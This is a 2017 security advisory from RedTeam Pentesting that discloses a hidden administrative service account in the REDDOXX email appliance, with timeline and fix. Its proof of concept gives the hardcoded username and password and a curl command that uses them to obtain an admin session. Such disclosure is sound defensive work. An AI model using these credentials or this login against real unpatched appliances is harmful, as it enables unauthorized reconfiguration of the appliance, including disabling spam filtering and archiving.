Advisory: Undocumented Administrative Service Account in REDDOXX Appliance

RedTeam Pentesting discovered an undocumented service account in the
REDDOXX appliance software, which allows attackers to access the
administrative interface of the appliance and change its configuration.


Details
=======

Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Hidden Service Account
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-007
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clientsa requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)


More Details
============

Through the ISO provided on the vendor's homepage [1], it was possible
to analyze the files in a typical REDDOXX appliance [0] installation. As
part of this process, hardcoded credentials for a service account were
found in a .NET binary file. With these credentials, it was possible to
authenticate against the administrative interface.


Proof of Concept
================

The following curl command-line shows an unsuccessful login attempt with
invalid credentials against the administrative interface:

------------------------------------------------------------------------
$ curl --silent -H 'Content-Type: application/json' --data '{"UserName": "redteam@local", "Password":"redteam"}' http://www.example.com/api/v1/proxy/auth/credentials | jq .
{
  "ResponseStatus": {
    "ErrorCode": "Unauthorized",
    "Message": "Invalid UserName or Password",
    "Errors": []
  }
}
------------------------------------------------------------------------


When the credentials extracted from the binaries are provided however,
the webserver returns a session ID instead of an error message,
indicating a successful login:

------------------------------------------------------------------------
$ curl --silent -H 'Content-Type: application/json' --data '{"UserName": "rdx-build-in-service-user@local", "Password":"rdx!1ntern4l"}' http://www.example.com/api/v1/proxy/auth/credentials | jq .
{
  "SessionId": "Qm5odfSFB2tVh8De6HjD",
  "UserName": "rdx-build-in-service-user@local",
  "DisplayName": "",
  "ResponseStatus": {}
}
------------------------------------------------------------------------


Workaround
==========

None


Fix
===

Update the appliance software to Version 2032 SP2.


Security Risk
=============

The hidden service account allows attackers to authenticate to the
administrative interface of the appliance. With this level of access,
the appliance can be completely reconfigured. For example, core
functionalities, such as spam filtering or archiving, can be disabled.
RedTeam Pentesting assumes that the hidden service account is present
on all REDDOXX installations and rates its presence as a high risk.


Timeline
========

2017-05-17 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-06-21 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released


References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
    (Requires login)


RedTeam Pentesting GmbH
=======================

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=============================

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